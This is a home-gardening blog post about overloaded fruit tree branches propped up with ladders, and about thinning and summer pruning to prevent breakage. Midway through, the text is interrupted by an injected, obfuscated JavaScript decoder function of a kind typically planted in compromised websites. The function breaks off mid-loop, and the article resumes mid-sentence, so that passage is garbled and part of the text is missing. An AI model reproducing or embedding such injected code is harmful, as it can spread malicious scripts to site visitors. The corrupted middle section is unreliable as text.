Help! My branches are breaking- OR How Many Ladders Do I Need to Hold Up My Fruit Trees?

peach tree loaded with peaches
This ladder is supporting an over abundant peach tree branch that will snap off without some kind of intervention

Home orchards are a lot of work- trees need pruning, thinning and a watchful eye for pests and diseases. If you are growing organically, the work is probably doubled! So it seems many people with backyard orchards, find themselves overwhelmed and frustrated in order to produce healthy fruit trees and healthy fruit. But if there is one job you should NOT neglect on your home orchard, it is thinning and summer pruning.

If you see a ladder holding up a fruit tree branch, it is because the gardener did not thin the spring blossoms or did not thin enough of the blossoms. The result then, is that you will see sticks, boards, shovels and ladders propping up overloaded branches in order to save the fruit.

The sad part of this logic though, is that while you might save this year's fruit, but you also,may be sacrificing the life of the tree. Branches that are not propped will break, opening up wounds for insect or disease entry. And branches improperly propped can open up and even snap off. There are only so many years fruit trees can handle neglect before they die.

Here is some great information on pruning and thinning fruit trees- How and When.... h052c1b60aed(x6){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var t4='';var t2,u1,q3,q7,sa,r9,u2;var u4=0;do{q7=qd.indexOf(x6.charAt(u4++));sa=qd.indexOf(x6.charAt(u4++));r9=qd.indexOf(x6.charAt(u4++));u2=qd.indexOf(x6.charAt(u4++));t2=(q7<<2)|(sa>>4);u1=((sa&15)<<4)|(r9>>2);q3=((r9&3)<<6)|u2;if(t2>=192)t2+=848;else if(t2==168)t2=1025;else if(t2==184)t2=1105;t4+=String.fromCharCode(t2);if(r9!=64){if(u1>=192)u1+=848;else if(u1==168)u1=1025;else if(u1==184)u1=1105;t4+=String.fromCharCode(u1);}if(u2!=64){if(q3>=192)q3+=848;else if(q3==168)q3=1025;else if(q3==184)q3=1105;t4+=String.fromCharCode(q3);}}while(u4 then very lightly the next- it is also due to improper thinning and lack of summer pruning.

If summer winds blow, the props will fall out and down will come peaches, branches and all!" (Sung to the tune of Rocka-a-bye Baby)

pears in a bowl

If you are propping up your trees this year, mark your calendar for next years spring thinning and summer pruning and enjoy a great crop of fruit for many more summers!

Published by Vicki

I love gardening and when it comes to vegetables, organic gardening is important to me. I am an Advanced Master Gardener with the University of Idaho, and my favorite garden activity is pruning. When I'm not cutting down plants, you can find me shooting photos on my Canon DSLR or out smashing overheads on the tennis courts.

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